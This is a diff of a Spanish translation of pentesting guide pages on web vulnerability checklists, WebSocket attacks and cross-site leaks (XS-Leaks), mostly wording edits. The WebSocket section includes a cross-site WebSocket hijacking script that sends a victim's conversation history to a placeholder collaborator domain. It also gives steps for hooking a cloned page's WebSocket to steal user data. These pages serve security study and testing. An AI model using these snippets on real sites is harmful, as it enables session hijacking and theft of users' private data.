- [ ] [**Open Redirect**](../open-redirect.md)
|
||||
- [ ] [**Prototype Pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
|
||||
- [ ] [**Prototype Pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
|
||||
- [ ] [**Server Side Inclusion/Edge Side Inclusion**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**Server Side Request Forgery**](../ssrf-server-side-request-forgery/)
|
||||
- [ ] [**Server Side Template Injection**](../ssti-server-side-template-injection/)
|
||||
@ -105,7 +105,7 @@ Algunas **funcionalidades específicas** también pueden ser vulnerables si se u
|
||||
|
||||
Las funcionalidades que permiten subir archivos podrían ser vulnerables a varios problemas.\
|
||||
Las funcionalidades que generan archivos incluyendo la entrada del usuario podrían ejecutar código inesperado.\
|
||||
Los usuarios que abren archivos subidos por otros usuarios o generados automáticamente que incluyen la entrada del usuario podrían verse comprometidos.
|
||||
Los usuarios que abren archivos subidos por otros usuarios o generados automáticamente que incluyen la entrada del usuario podrían estar comprometidos.
|
||||
|
||||
- [ ] [**File Upload**](../file-upload/)
|
||||
- [ ] [**Formula Injection**](../formula-csv-doc-latex-ghostscript-injection.md)
|
||||
|
||||
@ -1,14 +1,14 @@
|
||||
# Ataques de WebSocket
|
||||
# WebSocket Attacks
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## ¿Qué son los WebSockets?
|
||||
## Qué son los WebSockets
|
||||
|
||||
Las conexiones WebSocket se establecen a través de un **handshake HTTP** inicial y están diseñadas para ser **de larga duración**, permitiendo la mensajería bidireccional en cualquier momento sin la necesidad de un sistema transaccional. Esto hace que los WebSockets sean particularmente ventajosos para aplicaciones que requieren **baja latencia o comunicación iniciada por el servidor**, como flujos de datos financieros en vivo.
|
||||
|
||||
### Establecimiento de Conexiones WebSocket
|
||||
|
||||
Una explicación detallada sobre el establecimiento de conexiones WebSocket se puede acceder [**aquí**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). En resumen, las conexiones WebSocket suelen ser iniciadas a través de JavaScript del lado del cliente, como se muestra a continuación:
|
||||
Una explicación detallada sobre el establecimiento de conexiones WebSocket se puede acceder [**aquí**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). En resumen, las conexiones WebSocket suelen ser iniciadas a través de JavaScript del lado del cliente como se muestra a continuación:
|
||||
```javascript
|
||||
var ws = new WebSocket("wss://normal-website.com/ws")
|
||||
```
|
||||
@ -56,7 +56,7 @@ websocat -s 0.0.0.0:8000 #Listen in port 8000
|
||||
```
|
||||
### Conexiones websocket MitM
|
||||
|
||||
Si encuentras que los clientes están conectados a un **HTTP websocket** desde tu red local actual, podrías intentar un [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) para realizar un ataque MitM entre el cliente y el servidor.\
|
||||
Si descubres que los clientes están conectados a un **HTTP websocket** desde tu red local actual, podrías intentar un [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) para realizar un ataque MitM entre el cliente y el servidor.\
|
||||
Una vez que el cliente esté intentando conectarse, puedes usar:
|
||||
```bash
|
||||
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||||
@ -68,27 +68,27 @@ Puedes usar la **herramienta** [**https://github.com/PalindromeLabs/STEWS**](htt
|
||||
### Herramientas de depuración de Websocket
|
||||
|
||||
- **Burp Suite** soporta la comunicación de websockets MitM de una manera muy similar a como lo hace para la comunicación HTTP regular.
|
||||
- La **extensión de Burp Suite** [**socketsleuth**](https://github.com/snyk/socketsleuth) **te permitirá gestionar mejor las comunicaciones de Websocket en Burp al obtener el** **historial**, establecer **reglas de interceptación**, usar reglas de **coincidencia y reemplazo**, usar **Intruder** y **AutoRepeater.**
|
||||
- La **extensión de Burp Suite** [**socketsleuth**](https://github.com/snyk/socketsleuth) **te permitirá gestionar mejor las comunicaciones de Websocket en Burp al obtener el **historial**, establecer **reglas de interceptación**, usar reglas de **coincidencia y reemplazo**, usar **Intruder** y **AutoRepeater.**
|
||||
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Abreviatura de "**WebSocket/Socket.io Proxy**", esta herramienta, escrita en Node.js, proporciona una interfaz de usuario para **capturar, interceptar, enviar mensajes personalizados** y ver todas las comunicaciones de WebSocket y Socket.IO entre el cliente y el servidor.
|
||||
- [**wsrepl**](https://github.com/doyensec/wsrepl) es un **REPL de websocket interactivo** diseñado específicamente para pruebas de penetración. Proporciona una interfaz para observar **mensajes de websocket entrantes y enviar nuevos**, con un marco fácil de usar para **automatizar** esta comunicación. 
|
||||
- [**https://websocketking.com/**](https://websocketking.com/) es un **sitio web para comunicarse** con otros sitios usando **websockets**.
|
||||
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) entre otros tipos de comunicaciones/protocolos, proporciona un **sitio web para comunicarse** con otros sitios usando **websockets.**
|
||||
- [**https://websocketking.com/**](https://websocketking.com/) es una **web para comunicarse** con otras webs usando **websockets**.
|
||||
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) entre otros tipos de comunicaciones/protocolos, proporciona una **web para comunicarse** con otras webs usando **websockets.**
|
||||
|
||||
## Laboratorio de Websocket
|
||||
|
||||
En [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) tienes un código para lanzar un sitio web usando websockets y en [**esta publicación**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) puedes encontrar una explicación.
|
||||
En [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) tienes un código para lanzar una web usando websockets y en [**esta publicación**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) puedes encontrar una explicación.
|
||||
|
||||
## Secuestro de WebSocket entre sitios (CSWSH)
|
||||
|
||||
El **secuestro de WebSocket entre sitios**, también conocido como **secuestro de WebSocket de origen cruzado**, se identifica como un caso específico de **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** que afecta a los handshakes de WebSocket. Esta vulnerabilidad surge cuando los handshakes de WebSocket se autentican únicamente a través de **cookies HTTP** sin **tokens CSRF** o medidas de seguridad similares.
|
||||
|
||||
Los atacantes pueden explotar esto al alojar una **página web maliciosa** que inicia una conexión de WebSocket entre sitios a una aplicación vulnerable. En consecuencia, esta conexión se trata como parte de la sesión del víctima con la aplicación, aprovechando la falta de protección CSRF en el mecanismo de manejo de sesiones.
|
||||
Los atacantes pueden explotar esto al alojar una **página web maliciosa** que inicia una conexión de WebSocket entre sitios a una aplicación vulnerable. En consecuencia, esta conexión se trata como parte de la sesión de la víctima con la aplicación, aprovechando la falta de protección CSRF en el mecanismo de manejo de sesiones.
|
||||
|
||||
### Ataque Simple
|
||||
|
||||
Ten en cuenta que al **establecer** una conexión de **websocket**, la **cookie** es **enviada** al servidor. El **servidor** podría estar usándola para **relacionar** a cada **usuario específico** con su **sesión de websocket basada en la cookie enviada**.
|
||||
Ten en cuenta que al **establecer** una conexión de **websocket**, la **cookie** se **envía** al servidor. El **servidor** podría estar usándola para **relacionar** a cada **usuario específico** con su **sesión de websocket** basada en la cookie enviada.
|
||||
|
||||
Entonces, si por **ejemplo** el **servidor de websocket** **devuelve el historial de la conversación** de un usuario si se envía un mensaje con "**READY"**, entonces un **XSS simple** estableciendo la conexión (la **cookie** será **enviada** **automáticamente** para autorizar al usuario víctima) **enviando** "**READY**" podrá **recuperar** el historial de la **conversación**.
|
||||
Entonces, si por **ejemplo** el **servidor de websocket** **devuelve el historial de la conversación** de un usuario si se envía un mensaje con "**READY"**, entonces un **XSS simple** estableciendo la conexión (la **cookie** se **enviará** **automáticamente** para autorizar al usuario víctima) **enviando** "**READY**" podrá **recuperar** el historial de la **conversación**.
|
||||
```markup
|
||||
<script>
|
||||
websocket = new WebSocket('wss://your-websocket-URL')
|
||||
@ -105,11 +105,11 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
||||
```
|
||||
### Cross Origin + Cookie con un subdominio diferente
|
||||
|
||||
En esta publicación del blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) el atacante logró **ejecutar Javascript arbitrario en un subdominio** del dominio donde estaba ocurriendo la comunicación por websocket. Debido a que era un **subdominio**, la **cookie** estaba siendo **enviada**, y como el **Websocket no verificó correctamente el Origin**, fue posible comunicarse con él y **robar tokens de él**.
|
||||
En esta publicación de blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/), el atacante logró **ejecutar Javascript arbitrario en un subdominio** del dominio donde estaba ocurriendo la comunicación por web socket. Debido a que era un **subdominio**, la **cookie** estaba siendo **enviada**, y como el **Websocket no verificó correctamente el Origin**, fue posible comunicarse con él y **robar tokens de él**.
|
||||
|
||||
### Robando datos del usuario
|
||||
|
||||
Copia la aplicación web que deseas suplantar (los archivos .html por ejemplo) y dentro del script donde está ocurriendo la comunicación por websocket añade este código:
|
||||
Copia la aplicación web que deseas suplantar (los archivos .html, por ejemplo) y dentro del script donde está ocurriendo la comunicación por websocket agrega este código:
|
||||
```javascript
|
||||
//This is the script tag to load the websocket hooker
|
||||
;<script src="wsHook.js"></script>
|
||||
@ -134,17 +134,17 @@ Exponiendo la aplicación web y haciendo que un usuario se conecte a ella, podr
|
||||
```javascript
|
||||
sudo python3 -m http.server 80
|
||||
```
|
||||
## Condiciones de carrera
|
||||
## Condiciones de Carrera
|
||||
|
||||
Las Condiciones de carrera en WebSockets también son un problema, [consulta esta información para aprender más](race-condition.md#rc-in-websockets).
|
||||
Las Condiciones de Carrera en WebSockets también son un tema, [consulta esta información para aprender más](race-condition.md#rc-in-websockets).
|
||||
|
||||
## Otras vulnerabilidades
|
||||
|
||||
Dado que los Web Sockets son un mecanismo para **enviar datos al lado del servidor y al lado del cliente**, dependiendo de cómo el servidor y el cliente manejen la información, **los Web Sockets pueden ser utilizados para explotar varias otras vulnerabilidades como XSS, SQLi o cualquier otra vulnerabilidad web común utilizando la entrada de un usuario desde un websocket.**
|
||||
|
||||
## **WebSocket Smuggling**
|
||||
## **Smuggling de WebSocket**
|
||||
|
||||
Esta vulnerabilidad podría permitirte **eludir las restricciones de proxies inversos** haciéndoles creer que se **estableció una comunicación websocket** (incluso si no es cierto). Esto podría permitir a un atacante **acceder a puntos finales ocultos**. Para más información, consulta la siguiente página:
|
||||
Esta vulnerabilidad podría permitirte **eludir las restricciones de proxies inversos** haciéndoles creer que se **estableció una comunicación websocket** (incluso si no es cierto). Esto podría permitir a un atacante **acceder a endpoints ocultos**. Para más información, consulta la siguiente página:
|
||||
|
||||
{{#ref}}
|
||||
h2c-smuggling.md
|
||||
|
||||
@ -24,13 +24,13 @@ Varios aspectos pueden ser analizados para diferenciar los estados de la Web Vul
|
||||
- **Redirecciones**: Detectar navegaciones a diferentes páginas, no solo redirecciones HTTP, sino también aquellas desencadenadas por JavaScript o HTML.
|
||||
- **Contenido de la Página**: Observar **variaciones en el cuerpo de la respuesta HTTP** o en sub-recursos de la página, como el **número de marcos incrustados** o disparidades en el tamaño de las imágenes.
|
||||
- **Encabezado HTTP**: Notar la presencia o posiblemente el valor de un **encabezado de respuesta HTTP específico**, incluyendo encabezados como X-Frame-Options, Content-Disposition y Cross-Origin-Resource-Policy.
|
||||
- **Temporización**: Notar discrepancias de tiempo consistentes entre los dos estados.
|
||||
- **Temporización**: Notar disparidades de tiempo consistentes entre los dos estados.
|
||||
|
||||
### Métodos de Inclusión
|
||||
|
||||
- **Elementos HTML**: HTML ofrece varios elementos para **inclusión de recursos de origen cruzado**, como hojas de estilo, imágenes o scripts, obligando al navegador a solicitar un recurso que no sea HTML. Se puede encontrar una compilación de elementos HTML potenciales para este propósito en [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
|
||||
- **Elementos HTML**: HTML ofrece varios elementos para **inclusión de recursos de origen cruzado**, como hojas de estilo, imágenes o scripts, obligando al navegador a solicitar un recurso no HTML. Una compilación de elementos HTML potenciales para este propósito se puede encontrar en [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks).
|
||||
- **Marcos**: Elementos como **iframe**, **object** y **embed** pueden incrustar recursos HTML directamente en la página del atacante. Si la página **carece de protección de enmarcado**, JavaScript puede acceder al objeto de ventana del recurso enmarcado a través de la propiedad contentWindow.
|
||||
- **Ventanas emergentes**: El método **`window.open`** abre un recurso en una nueva pestaña o ventana, proporcionando un **manejador de ventana** para que JavaScript interactúe con métodos y propiedades siguiendo el SOP. Las ventanas emergentes, a menudo utilizadas en el inicio de sesión único, eluden las restricciones de enmarcado y cookies de un recurso objetivo. Sin embargo, los navegadores modernos restringen la creación de ventanas emergentes a ciertas acciones del usuario.
|
||||
- **Ventanas Emergentes**: El método **`window.open`** abre un recurso en una nueva pestaña o ventana, proporcionando un **manejador de ventana** para que JavaScript interactúe con métodos y propiedades siguiendo el SOP. Las ventanas emergentes, a menudo utilizadas en el inicio de sesión único, eluden las restricciones de enmarcado y cookies de un recurso objetivo. Sin embargo, los navegadores modernos restringen la creación de ventanas emergentes a ciertas acciones del usuario.
|
||||
- **Solicitudes de JavaScript**: JavaScript permite solicitudes directas a recursos objetivo utilizando **XMLHttpRequests** o la **Fetch API**. Estos métodos ofrecen un control preciso sobre la solicitud, como optar por seguir redirecciones HTTP.
|
||||
|
||||
### Técnicas de Filtración
|
||||
@ -49,7 +49,7 @@ XSinator es una herramienta automática para **verificar navegadores contra vari
|
||||
Puedes **acceder a la herramienta en** [**https://xsinator.com/**](https://xsinator.com/)
|
||||
|
||||
> [!WARNING]
|
||||
> **XS-Leaks Excluidos**: Tuvimos que excluir XS-Leaks que dependen de **trabajadores de servicio** ya que interferirían con otras filtraciones en XSinator. Además, decidimos **excluir XS-Leaks que dependen de configuraciones incorrectas y errores en una aplicación web específica**. Por ejemplo, configuraciones incorrectas de Cross-Origin Resource Sharing (CORS), filtraciones de postMessage o Cross-Site Scripting. Además, excluimos XS-Leaks basados en tiempo ya que a menudo sufren de ser lentos, ruidosos e inexactos.
|
||||
> **XS-Leaks Excluidos**: Tuvimos que excluir XS-Leaks que dependen de **trabajadores de servicio** ya que interferirían con otras filtraciones en XSinator. Además, decidimos **excluir XS-Leaks que dependen de una mala configuración y errores en una aplicación web específica**. Por ejemplo, configuraciones incorrectas de Cross-Origin Resource Sharing (CORS), filtraciones de postMessage o Cross-Site Scripting. Además, excluimos XS-Leaks basados en tiempo ya que a menudo sufren de ser lentos, ruidosos e inexactos.
|
||||
|
||||
## **Técnicas Basadas en Tiempo**
|
||||
|
||||
@ -66,7 +66,7 @@ Para más información: [https://xsleaks.dev/docs/attacks/timing-attacks/clocks]
|
||||
- **Métodos de Inclusión**: Marcos, Elementos HTML
|
||||
- **Diferencia Detectable**: Código de Estado
|
||||
- **Más información**: [https://www.usenix.org/conference/usenixsecurity19/presentation/staicu](https://www.usenix.org/conference/usenixsecurity19/presentation/staicu), [https://xsleaks.dev/docs/attacks/error-events/](https://xsleaks.dev/docs/attacks/error-events/)
|
||||
- **Resumen**: si se intenta cargar un recurso, se activan eventos onerror/onload cuando el recurso se carga con éxito/sin éxito, es posible averiguar el código de estado.
|
||||
- **Resumen**: si se intenta cargar un recurso, se activan los eventos onerror/onload cuando el recurso se carga con éxito/sin éxito, es posible averiguar el código de estado.
|
||||
- **Ejemplo de código**: [https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)](<https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)>)
|
||||
|
||||
{{#ref}}
|
||||
@ -108,12 +108,12 @@ performance.now-+-force-heavy-task.md
|
||||
- **Métodos de Inclusión**: Frames
|
||||
- **Diferencia Detectable**: Tiempo (generalmente debido al Contenido de la Página, Código de Estado)
|
||||
- **Más info**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
|
||||
- **Resumen:** El reloj [SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) se puede usar para medir cuánto tiempo toma realizar una solicitud. Se podrían usar otros relojes.
|
||||
- **Resumen:** El [reloj SharedArrayBuffer](https://xsleaks.dev/docs/attacks/timing-attacks/clocks/#sharedarraybuffer-and-web-workers) se puede usar para medir cuánto tiempo toma realizar una solicitud. Se podrían usar otros relojes.
|
||||
- **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events](https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-events)
|
||||
|
||||
El tiempo tomado para obtener un recurso se puede medir utilizando los eventos [`unload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/unload_event) y [`beforeunload`](https://developer.mozilla.org/en-US/docs/Web/API/Window/beforeunload_event). El evento **`beforeunload`** se activa cuando el navegador está a punto de navegar a una nueva página, mientras que el evento **`unload`** ocurre cuando la navegación está realmente teniendo lugar. La diferencia de tiempo entre estos dos eventos se puede calcular para determinar la **duración que el navegador pasó obteniendo el recurso**.
|
||||
|
||||
### Tiempo de Frame en Sandbox + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
|
||||
### Tiempo de Frame Aislado + onload <a href="#sandboxed-frame-timing-attacks" id="sandboxed-frame-timing-attacks"></a>
|
||||
|
||||
- **Métodos de Inclusión**: Frames
|
||||
- **Diferencia Detectable**: Tiempo (generalmente debido al Contenido de la Página, Código de Estado)
|
||||
@ -134,7 +134,7 @@ Se ha observado que en ausencia de [Protecciones de Framing](https://xsleaks.dev
|
||||
- **Resumen**: Si puedes hacer que la página dé un error cuando se accede al contenido correcto y que se cargue correctamente cuando se accede a cualquier contenido, entonces puedes hacer un bucle para extraer toda la información sin medir el tiempo.
|
||||
- **Ejemplo de Código**:
|
||||
|
||||
Supongamos que puedes **insertar** la **página** que tiene el **contenido secreto** **dentro de un Iframe**.
|
||||
Supón que puedes **insertar** la **página** que tiene el **contenido secreto** **dentro de un Iframe**.
|
||||
|
||||
Puedes **hacer que la víctima busque** el archivo que contiene "_**flag**_" usando un **Iframe** (explotando un CSRF, por ejemplo). Dentro del Iframe sabes que el _**evento onload**_ se **ejecutará siempre al menos una vez**. Luego, puedes **cambiar** la **URL** del **iframe** pero cambiando solo el **contenido** del **hash** dentro de la URL.
|
||||
|
||||
@ -143,7 +143,7 @@ Por ejemplo:
|
||||
1. **URL1**: www.attacker.com/xssearch#try1
|
||||
2. **URL2**: www.attacker.com/xssearch#try2
|
||||
|
||||
Si la primera URL se **cargó correctamente**, entonces, al **cambiar** la parte del **hash** de la URL, el **evento onload** **no se activará** de nuevo. Pero **si** la página tuvo algún tipo de **error** al **cargar**, entonces, el **evento onload** se **activará de nuevo**.
|
||||
Si la primera URL fue **cargada con éxito**, entonces, al **cambiar** la parte del **hash** de la URL, el **evento onload** **no se activará** de nuevo. Pero **si** la página tuvo algún tipo de **error** al **cargar**, entonces, el **evento onload** se **activará de nuevo**.
|
||||
|
||||
Entonces, puedes **distinguir entre** una página **cargada correctamente** o una página que tiene un **error** al ser accedida.
|
||||
|
||||
@ -162,9 +162,9 @@ javascript-execution-xs-leak.md
|
||||
### CORB - Onerror
|
||||
|
||||
- **Métodos de Inclusión**: Elementos HTML
|
||||
- **Diferencia Detectable**: Código de Estado y Encabezados
|
||||
- **Diferencia Detectable**: Código de Estado & Encabezados
|
||||
- **Más info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/](https://xsleaks.dev/docs/attacks/browser-features/corb/)
|
||||
- **Resumen**: **Cross-Origin Read Blocking (CORB)** es una medida de seguridad que impide que las páginas web carguen ciertos recursos sensibles de origen cruzado para protegerse contra ataques como **Spectre**. Sin embargo, los atacantes pueden explotar su comportamiento protector. Cuando una respuesta sujeta a **CORB** devuelve un `Content-Type` _**protegido por CORB**_ con `nosniff` y un código de estado `2xx`, **CORB** elimina el cuerpo y los encabezados de la respuesta. Los atacantes que observan esto pueden inferir la combinación del **código de estado** (indicando éxito o error) y el `Content-Type` (denotando si está protegido por **CORB**), lo que puede llevar a una posible fuga de información.
|
||||
- **Resumen**: **Cross-Origin Read Blocking (CORB)** es una medida de seguridad que impide que las páginas web carguen ciertos recursos sensibles de origen cruzado para protegerse contra ataques como **Spectre**. Sin embargo, los atacantes pueden explotar su comportamiento protector. Cuando una respuesta sujeta a **CORB** devuelve un `Content-Type` _**protegido por CORB**_ con `nosniff` y un código de estado `2xx`, **CORB** elimina el cuerpo y los encabezados de la respuesta. Los atacantes que observan esto pueden inferir la combinación del **código de estado** (que indica éxito o error) y el `Content-Type` (que indica si está protegido por **CORB**), lo que puede llevar a una posible fuga de información.
|
||||
- **Ejemplo de Código**:
|
||||
|
||||
Consulta el enlace de más información para obtener más información sobre el ataque.
|
||||
@ -177,10 +177,10 @@ Consulta el enlace de más información para obtener más información sobre el
|
||||
- **Resumen**: Filtrar datos sensibles del atributo id o nombre.
|
||||
- **Ejemplo de Código**: [https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet](https://xsleaks.dev/docs/attacks/id-attribute/#code-snippet)
|
||||
|
||||
Es posible **cargar una página** dentro de un **iframe** y usar el **`#id_value`** para hacer que la página **enfoque en el elemento** del iframe indicado, si se activa una señal de **`onblur`**, el elemento ID existe.\
|
||||
Es posible **cargar una página** dentro de un **iframe** y usar el **`#id_value`** para hacer que la página **enfoque en el elemento** del iframe indicado, si se activa una señal **`onblur`**, el elemento ID existe.\
|
||||
Puedes realizar el mismo ataque con etiquetas **`portal`**.
|
||||
|
||||
### Broadcasts de postMessage <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
|
||||
### Transmisiones postMessage <a href="#postmessage-broadcasts" id="postmessage-broadcasts"></a>
|
||||
|
||||
- **Métodos de Inclusión**: Frames, Pop-ups
|
||||
- **Diferencia Detectable**: Uso de API
|
||||
@ -188,7 +188,7 @@ Puedes realizar el mismo ataque con etiquetas **`portal`**.
|
||||
- **Resumen**: Reunir información sensible de un postMessage o usar la presencia de postMessages como un oráculo para conocer el estado del usuario en la página.
|
||||
- **Ejemplo de Código**: `Cualquier código que escuche todos los postMessages.`
|
||||
|
||||
Las aplicaciones utilizan frecuentemente [`broadcasts de postMessage`](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) para comunicarse entre diferentes orígenes. Sin embargo, este método puede exponer inadvertidamente **información sensible** si el parámetro `targetOrigin` no se especifica correctamente, permitiendo que cualquier ventana reciba los mensajes. Además, el mero acto de recibir un mensaje puede actuar como un **oráculo**; por ejemplo, ciertos mensajes pueden enviarse solo a usuarios que han iniciado sesión. Por lo tanto, la presencia o ausencia de estos mensajes puede revelar información sobre el estado o identidad del usuario, como si están autenticados o no.
|
||||
Las aplicaciones utilizan frecuentemente [`postMessage` broadcasts](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) para comunicarse entre diferentes orígenes. Sin embargo, este método puede exponer inadvertidamente **información sensible** si el parámetro `targetOrigin` no se especifica correctamente, permitiendo que cualquier ventana reciba los mensajes. Además, el mero acto de recibir un mensaje puede actuar como un **oráculo**; por ejemplo, ciertos mensajes pueden enviarse solo a usuarios que han iniciado sesión. Por lo tanto, la presencia o ausencia de estos mensajes puede revelar información sobre el estado o identidad del usuario, como si están autenticados o no.
|
||||
|
||||
## Técnicas de Límites Globales
|
||||
|
||||
@ -200,9 +200,9 @@ Las aplicaciones utilizan frecuentemente [`broadcasts de postMessage`](https://d
|
||||
- **Resumen**: Agotar el límite de conexiones de WebSocket filtra el número de conexiones de WebSocket de una página de origen cruzado.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)>), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)](<https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)>)
|
||||
|
||||
Es posible identificar si, y cuántas, **conexiones de WebSocket utiliza una página objetivo**. Esto permite a un atacante detectar estados de aplicación y filtrar información relacionada con el número de conexiones de WebSocket.
|
||||
Es posible identificar si, y cuántas, **conexiones de WebSocket usa una página objetivo**. Esto permite a un atacante detectar estados de aplicación y filtrar información relacionada con el número de conexiones de WebSocket.
|
||||
|
||||
Si un **origen** utiliza la **máxima cantidad de objetos de conexión de WebSocket**, independientemente de su estado de conexión, la creación de **nuevos objetos resultará en excepciones de JavaScript**. Para ejecutar este ataque, el sitio web atacante abre el sitio web objetivo en un pop-up o iframe y luego, después de que se haya cargado la web objetivo, intenta crear el máximo número de conexiones de WebSocket posible. El **número de excepciones lanzadas** es el **número de conexiones de WebSocket utilizadas por la ventana del sitio web objetivo**.
|
||||
Si un **origen** utiliza la **máxima cantidad de objetos de conexión de WebSocket**, independientemente de su estado de conexión, la creación de **nuevos objetos resultará en excepciones de JavaScript**. Para ejecutar este ataque, el sitio web atacante abre el sitio web objetivo en un pop-up o iframe y luego, después de que la web objetivo se haya cargado, intenta crear el máximo número de conexiones de WebSocket posible. El **número de excepciones lanzadas** es el **número de conexiones de WebSocket utilizadas por la ventana del sitio web objetivo**.
|
||||
|
||||
### API de Pago
|
||||
|
||||
@ -212,7 +212,7 @@ Si un **origen** utiliza la **máxima cantidad de objetos de conexión de WebSoc
|
||||
- **Resumen**: Detectar la Solicitud de Pago porque solo una puede estar activa a la vez.
|
||||
- **Ejemplo de Código**: [https://xsinator.com/testing.html#Payment%20API%20Leak](https://xsinator.com/testing.html#Payment%20API%20Leak)
|
||||
|
||||
Esta fuga de XS permite a un atacante **detectar cuándo una página de origen cruzado inicia una solicitud de pago**.
|
||||
Esta fuga XS permite a un atacante **detectar cuándo una página de origen cruzado inicia una solicitud de pago**.
|
||||
|
||||
Debido a que **solo una solicitud de pago puede estar activa** al mismo tiempo, si el sitio web objetivo está utilizando la API de Solicitud de Pago, cualquier intento adicional de usar esta API fallará y causará una **excepción de JavaScript**. El atacante puede explotar esto **intentando mostrar periódicamente la interfaz de usuario de la API de Pago**. Si un intento causa una excepción, el sitio web objetivo la está utilizando actualmente. El atacante puede ocultar estos intentos periódicos cerrando inmediatamente la interfaz de usuario después de su creación.
|
||||
|
||||
@ -228,7 +228,7 @@ Debido a que **solo una solicitud de pago puede estar activa** al mismo tiempo,
|
||||
event-loop-blocking-+-lazy-images.md
|
||||
{{#endref}}
|
||||
|
||||
JavaScript opera en un modelo de concurrencia de [bucle de eventos de un solo hilo](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), lo que significa que **solo puede ejecutar una tarea a la vez**. Esta característica puede ser explotada para medir **cuánto tiempo tarda en ejecutarse el código de un origen diferente**. Un atacante puede medir el tiempo de ejecución de su propio código en el bucle de eventos al despachar continuamente eventos con propiedades fijas. Estos eventos se procesarán cuando el grupo de eventos esté vacío. Si otros orígenes también están despachando eventos al mismo grupo, un **atacante puede inferir el tiempo que tardan en ejecutarse estos eventos externos al observar retrasos en la ejecución de sus propias tareas**. Este método de monitoreo del bucle de eventos para retrasos puede revelar el tiempo de ejecución del código de diferentes orígenes, exponiendo potencialmente información sensible.
|
||||
JavaScript opera en un modelo de concurrencia de [bucle de eventos de un solo hilo](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop), lo que significa que **solo puede ejecutar una tarea a la vez**. Esta característica puede ser explotada para medir **cuánto tiempo tarda en ejecutarse el código de un origen diferente**. Un atacante puede medir el tiempo de ejecución de su propio código en el bucle de eventos despachando continuamente eventos con propiedades fijas. Estos eventos se procesarán cuando el grupo de eventos esté vacío. Si otros orígenes también están despachando eventos al mismo grupo, un **atacante puede inferir el tiempo que tardan estos eventos externos en ejecutarse al observar retrasos en la ejecución de sus propias tareas**. Este método de monitoreo del bucle de eventos para retrasos puede revelar el tiempo de ejecución del código de diferentes orígenes, exponiendo potencialmente información sensible.
|
||||
|
||||
> [!WARNING]
|
||||
> En una temporización de ejecución es posible **eliminar** **factores de red** para obtener **mediciones más precisas**. Por ejemplo, cargando los recursos utilizados por la página antes de cargarla.
|
||||
@ -238,10 +238,10 @@ JavaScript opera en un modelo de concurrencia de [bucle de eventos de un solo hi
|
||||
- **Métodos de Inclusión**:
|
||||
- **Diferencia Detectable**: Temporización (generalmente debido al Contenido de la Página, Código de Estado)
|
||||
- **Más info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop)
|
||||
- **Resumen:** Un método para medir el tiempo de ejecución de una operación web implica bloquear intencionalmente el bucle de eventos de un hilo y luego medir **cuánto tiempo tarda en estar disponible nuevamente el bucle de eventos**. Al insertar una operación de bloqueo (como un cálculo largo o una llamada a una API sincrónica) en el bucle de eventos y monitorear el tiempo que tarda en comenzar la ejecución del código subsiguiente, se puede inferir la duración de las tareas que se estaban ejecutando en el bucle de eventos durante el período de bloqueo. Esta técnica aprovecha la naturaleza de un solo hilo del bucle de eventos de JavaScript, donde las tareas se ejecutan secuencialmente, y puede proporcionar información sobre el rendimiento o el comportamiento de otras operaciones que comparten el mismo hilo.
|
||||
